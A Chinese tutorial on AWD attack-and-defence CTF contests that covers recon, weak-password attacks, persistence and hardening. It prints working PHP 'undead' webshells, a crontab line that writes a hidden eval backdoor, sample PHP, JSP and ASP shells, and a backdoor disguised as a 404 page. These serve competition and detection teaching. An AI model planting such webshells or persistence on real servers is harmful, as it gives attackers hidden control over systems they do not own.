AWD比赛入门攻略总结

竞赛介绍

前言

最近参加了一些AWD比赛,之前没怎么接触过,顺带做个总结,希望能帮助到大家。

竞赛题型

主要题型为WEB和PWN,涉及语言多数为PHP,还有少量Java、Python。
WEB主要是一些CMS和框架安全漏洞,如注入、上传和反序列化等,更多是依赖已知漏洞。

竞赛拓扑

竞赛流程

一般比赛会将加固环节和攻击环节分开,先统一加固后再进行攻击。

攻击技术解析

信息确认

开赛前会给到参赛选手相关信息,如下图所示:

说明

标记1:比赛名称

标记2:白名单一般用于防止外部恶意攻击,如果赛方发现名单以外IP 可能会进行封禁处理。

标记3:用户服务器登录,账号为team1 密码为fe85d7dec6e3757f391e013efdd67c0c,端口为2222,一般服务器为Linux系统,登录工具可以使用xSHELL,finalSHELL等。

标记4:Token主要用于脚本身份凭证用于自动化提交鉴别。虚拟IP为靶机访问网址。其他选手地址为192-168-x-250.pvp923.bugku.cn,x可以是1-255内任一个数字。

标记5:主要用于扫描其他选手靶机用来攻击获取到根目录FLAG并提交得分,靶机环境和自己的靶机一致。

标记6:FLAG提交处。

标记7:用于脚本提交的api接口。

标记8:大屏观赛区

也有可能是这种,做个参考吧。

登录靶机

以FinalSHELL为例,使用账户密码登录。
操作如下图所示:

说明

标记1:主机地址,网址或ip地址都有可能。

标记2:端口信息,根据赛方信息提供

标记3:输入赛方提供的用户名和密码进行登录,用户权限一般较低。有时候会用RSA公钥登录的方式进行登录。

信息搜集

主机探测

一般使用nmap或httpscan

查看自己主机IP:

ifconfig   #Linux
ipconfig   #Windows

扫描C段存活:

namp -sn 192.168.0.0/24          #扫描C段主机存活
httpscan.py 192.168.0.0/24 –t 10  #扫描C段主机存活

端口探测

一般先搜集自己的主机端口信息,比赛主机开放端口情况大多情况一致,然后类比指定扫描其他主机端口信息,最后挂后台全端口扫描防止端口遗漏!

nmap -sV 192.168.0.2            #扫描主机系统版本
nmap -sS 192.168.0.2            #扫描主机常用端口
nmap -sS -p 80,445 192.168.0.2  #扫描主机部分端口
nmap -sS -p- 192.168.0.2        #扫描主机全部端口

nmap官方文档:
https://nmap.org/man/zh/man-host-discovery.html

httpscan 主机探测:
https://github.com/zer0h/httpscan

应用发现

apaech2.conf是主配置文件,不是真正的具体配置文件,它只是把各 个零散的配置文件以inluceding方式包含进来,如下图所示:

组件发现:

find / -name "nginx.conf"                 #定位nginx目录
find / -path "*nginx*" -name nginx*conf   #定位nginx配置目录
find / -name "httpd.conf"                 #定位apache目录
find / -path "*apache*" -name apache*conf #定位apache配置目录

网站发现:

find / -name "index.php"   #定位网站目录

日志发现:

/var/log/nginx/    #默认Nginx日志目录
/var/log/apache/   #默认Apache日志目录
/var/log/apache2/  #默认Apache日志目录
/usr/local/tomcat/logs #Tomcat日志目录
tail -f xxx.log   #实时刷新滚动日志文件

以上是定位常见文件目录的命令或方法,比赛需要根据实际情况类推,善用find命令!

备份扫描

自动化利用扫描工具参考:
https://github.com/sry309/ihoneyBakFileScan 多进程批量网站备份文件泄露扫描工具
GitHub - maurosoria/dirsearch: Web path scanner WEB网站目录扫描

攻击主机端口

端口利用主要方式是未授权访问和弱口令漏洞。

未授权访问漏洞利用总结参考:
https://paper.seebug.org/409/

常见端口利用总结参考:
https://www.cnblogs.com/ldragon2000/p/14161054.html

部分利用工具参考:
https://github.com/vanhauser-thc/thc-hydra Hydra九头蛇
https://github.com/shack2/SNETCracker 超级弱口令工具
https://github.com/se55i0n/DBScanner 数据库爆破工具
GitHub - cwkiller/unauthorized-check: 扫描常见未授权访问(redis、mongodb、memcached、elasticsearch、zookeeper、ftp、CouchDB、docker、Hadoop) 未授权检测工具

字典参考:
GitHub - cpkkcb/fuzzDicts: 渗透测试路径字典,爆破字典。内容来自互联网和实战积累。
GitHub - TheKingOfDuck/fuzzDicts: Web Pentesting Fuzz 字典,一个就够了。

攻击WEB服务

一般通过访问获取的端口就能访问到预设的WEB靶场,如下图所示:

WEB 方面的语言多为PHP,小部分为Java 和Python。这里的WEB环境分两种情况。

一种是已有漏洞的框架,一种是出题人写的框架。如果是已有漏洞的框架,通常会比较明显。比如说Struts2各种漏洞等等,用工具扫就可以扫出来。这个需要准备得比较充分,在电脑中备好 EXP 库、漏洞库和各种扫描工具库,以便能够快速利用比较明显的漏洞。

另一种情况就是分析WEB日志,学习其他选手攻击思路和漏洞利用过程,也是一个不错的得分途径。

别忘了WEB后台弱口令!!

漏洞资料库集合参考:

https://github.com/cckuailong/vulbase

部分已知漏洞检测工具参考:

https://github.com/chaitin/xray 支持被动主动扫描
Goby - Attack surface mapping 主机探测、端口爆破和漏洞检测
https://github.com/knownsec/pocsuite3 批量利用框架

权限提升

现在比赛很少直接给予root权限,不多谈。但是加固环节权限过低无法进行,如果比赛允许可以尝试提权。

提权参考:
Linux 提权总结-腾讯云开发者社区-腾讯云 一般提权
GitHub - SecWiki/linux-kernel-exploits: linux-kernel-exploits Linux平台提权漏洞集合 提权脚本

权限维持

拿到WEBSHELL后,需要维持权限!简单的WEBSHELL 一眼就会被识别,在AWD 中优先考虑种不死马、反弹 SHELL等留后门方式维持权限,以便后续刷 FLAG,再考虑提升权限。

隐藏的文件读取

header(php'flag:'.file_get_contents('/tmp/flag'));

条件允许的话,将flag信息直接读取并返回到header头中,这样做不易被发现。

PHP不死马示例:

<?php 
ignore_user_abort(true);  #客户机断开依旧执行
set_time_limit(0); #函数设置脚本最大执行时间。这里设置为0,即没有时间方面的限制。
unlink(__FILE__);  删除文件本身,以起到隐蔽自身的作用。
$file = '2.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';
while (1){
    file_put_contents($file,$code);
    system('touch -m -d "2018-12-01 09:10:12" .2.php');
    usleep(5000);
} 
?>

定时任务写马示例:

system('echo "* * * * * echo \"<?php  if(md5(\\\\\\\\\$_POST[pass])==\'7b7fdffef464019f7190d0384d5b3838\'){@eval(\\\\\\\\\$_POST[1]);}  \" > /var/www/html/.index.php\n* * * * * chmod 777 /var/www/html/.index.php" | crontab;whoami');

快速得分

一般编写Python脚本或利用CURL工具进行批量获取FLAG得分,需要语言基础。

得分会在大屏幕实时动态展示:

批量利用框架工具:
GitHub - Ares-X/AWD-Predator-Framework: AWD攻防赛webshell批量利用框架

防御技术解析

网站备份

目的是防止修改源码出错,或被对手恶意删除源码,或快速恢复网站防止被裁判组check探测服务存活失败丢分。

压缩文件:

tar -cvf web.tar /var/www/html
zip -q -r web.zip /var/www/html

解压文件:

tar -xvf web.tar -c /var/www/html
unzip web.zip -d /var/www/html

备份到服务器:

mv web.tar /tmp
mv web.zip /home/xxx

上传下载文件:

scp username@servername:/path/filename /tmp/local_destination #从服务器下载单个文件到本地
scp /path/local_filename username@servername:/path  #从本地上传单个文件到服务器
scp -r username@servername:remote_dir/ /tmp/local_dir #从服务器下载整个目录到本地
scp -r /tmp/local_dir username@servername:remote_dir #从本地上传整个目录到服务器

SSH相关工具:

Xshell、SecureCRT、finalshell

FTP相关工具:

FileZilla 、WinSCP、SmartFTP

数据备份

数据库配置信息一般可以通过如config.php/web.conf等文件获取。
以MySQL数据库备份数据为例:

备份指定数据库:

mysqldump –u username –p password databasename > bak.sql

备份所有数据库:

mysqldump –all -databases > bak.sql

导入数据库:

mysql –u username –p password database < bak.sql

信息搜集

netstat -ano/-a #查看端口情况
uname -a  #系统信息
ps -aux、ps -ef #进程信息
cat /etc/passwd #用户情况
ls /home/ #用户情况
id   #用于显示用户ID,以及所属群组ID
find / -type d -perm -002 #可写目录检查
grep -r “flag” /var/www/html/  #查找默认FLAG

口令更改

信息搜集后,将未授权和弱口令问题及时修复,包括但不限于服务器SSH口令、数据库口令和WEB服务口令。

千万别忘记WEB应用的后台密码修改!!

passwd username    #ssh口令修改
set password for mycms@localhost = password('123'); #MySQL密码修改
find /var/www//html -path '*config*’  #查找配置文件中的密码凭证

备份检查

find  /var/www/html/ -name "*.tar"
find  /var/www/html/ -name "*.zip"

后门查杀

通过命令查看可疑文件:

find /var/www/html -name *.php -mmin -20 #查看最近20分钟修改文件
find ./ -name '*.php' | xargs wc -l | sort -u #寻找行数最短文件
grep -r --include=*.php  '[^a-z]eval($_POST'  /var/www/html    #查包含关键字的php文件
find /var/www/html -type f -name "*.php" | xargs grep "eval(" |more

一般查杀:河马WEBSHELL和D盾查杀。

# phpwebshell
<?php @eval($_GET['cmd']); ?>

<?php @eval($_POST['cmd']); ?>

<?php @eval($_REQUESTS['cmd']); ?>
# jspwebshell

<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
# aspwebshell

<%eval request ("cmd")%> 或 <% execute(request("cmd")) %>

不死马查杀:杀进程后重启服务、写一个同名的文件夹和写一个sleep时间低于别人的马(或者写一个脚本不断删除别人的马)

比如写个马来一直杀死不死马进程:

<?php

system("kill -9 pid;rm -rf .shell.php"); #pid和不死马名称根据实际情况定

?>

后门用户查杀:UID大于500的都是非系统账号,500以下的都为系统保留的账号,使用userdel -r username 完全删除账户

其他查杀:部分后门过于隐蔽,可以使用ls -al命令查看所有文件及文件修改时间和内容进行综合判断,进行删除。可以写脚本定时清理上传目录、定时任务和临时目录等

经典preg_replace伪装的404后门示例:
使用菜刀连接 密码:error

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

<html><head>

<title>404 Not Found</title>

</head><body>

<h1>Not Found</h1>

<p>The requested URL was not found on this server.</p>

</body></html>

<?php @preg_replace("/[pageerror]/e",$_POST['error'],"saft"); header('HTTP/1.1 404 Not Found');

?>

关闭进程

ps -aux  #查看进程
kill -9 pid #强制进程查杀

关闭端口

netstat -anp  #查看端口
firewall-cmd --zone= public --remove-port=80/tcp –permanent #关闭端口
firewall-cmd –reload #重载防火墙

漏洞修复

漏洞修复遵循保证服务不长时间宕机的情况下进行修复, 多使用安全过滤函数,能修复尽量修复,不能修复先注释或删除相关代码,但需保证页面显示正常。

可以下载文件到本地进行修改后上传到服务器进行覆盖操作,也可以直接通过vim编辑器进行代码修复操作!

修复参考:
https://www.cnblogs.com/iAmSoScArEd/p/10651947.html 常规漏洞修复建议
https://www.cnblogs.com/chenpingzhao/p/4802179.html PHP安全函数

文件监控

文件监控能及时木马文件后门生成,及时删除防止丢分。
文件监控脚本:
https://github.com/TheKingOfDuck/FileMonitor

部署WAF

比赛规则决定能否部署WAF和监控工具。WAF具有两面性,抵挡大部分攻击的同时,可能因为某些函数无法使用导致服务宕机。WAF可以自己写,也可以使用如安全狗等第三方WAF。

常见PHP网站系统WAF添加路径:

DiscuzX2 \config\config_global.php

Wordpress \wp-config.php

Metinfo \include\head.php

PHPCMS V9 \phpcms\base.php

PHPWIND8.7 \data\sql_config.php

DEDECMS5.7 \data\common.inc.php

WAF脚本参考:
GitHub - sharpleung/CTF-WAF: 针对CTF线下赛的通用WAF,日志审计功能。

参考

https://xz.aliyun.com/t/10342 关于Awd的小结
https://www.cnblogs.com/anbus/p/10465077.html AWD比赛常规套路

原文链接:AWD比赛入门攻略总结 - 先知社区 (aliyun.com)

  • 24
    点赞
  • 33
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
AWD(Attack With Defense)比赛是一种以击与防守相结合的网络安全竞赛。比赛中使用的后门通用脚本是指用于在击者控制的主机上安装和管理后门,以达到控制目标系统的目的。通常,这样的脚本具有以下特点: 1. 后门安装:该脚本能够在目标主机上安装后门程序,通常是通过利用已知或未知的漏洞来获取系统访问权限。安装后门的方式可以有多种,如利用弱口令、利用系统漏洞等。 2. 远程管理:脚本提供了远程管理后门的功能,击者可以通过指定的命令或入口来访问、控制后门。这样,击者可以执行各种操作,包括文件上传、文件下载、命令执行等。 3. 隐藏性:为了避免被目标系统的安全工具检测到,后门通用脚本通常会具有一定的隐藏性。例如,可以隐藏在系统可执行文件、服务、注册表等位置,通过修改文件属性或命令行参数等方式来掩盖自身的存在。 4. 持久性:为了实现长期控制目标系统的目的,后门通用脚本会在系统启动时自动运行,并在后台持续执行。同时,它还会添加自启动项或修改系统配置文件,以保证后门的持久性。 5. 兼容性:通用脚本要具备较好的兼容性,能够适应不同操作系统、不同版本的环境。因此,脚本会进行环境检测,根据目标系统的特征自动选择合适的击方式和后门类型。 需要注意的是,使用后门通用脚本进行击是非法和道德上不可接受的行为。这种行为侵犯了他人的隐私和安全,在现实生活中是严重被打击的。在网络安全领域,应当强调合法、合规的操作和防御手段,遵循法律法规和道德规范。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值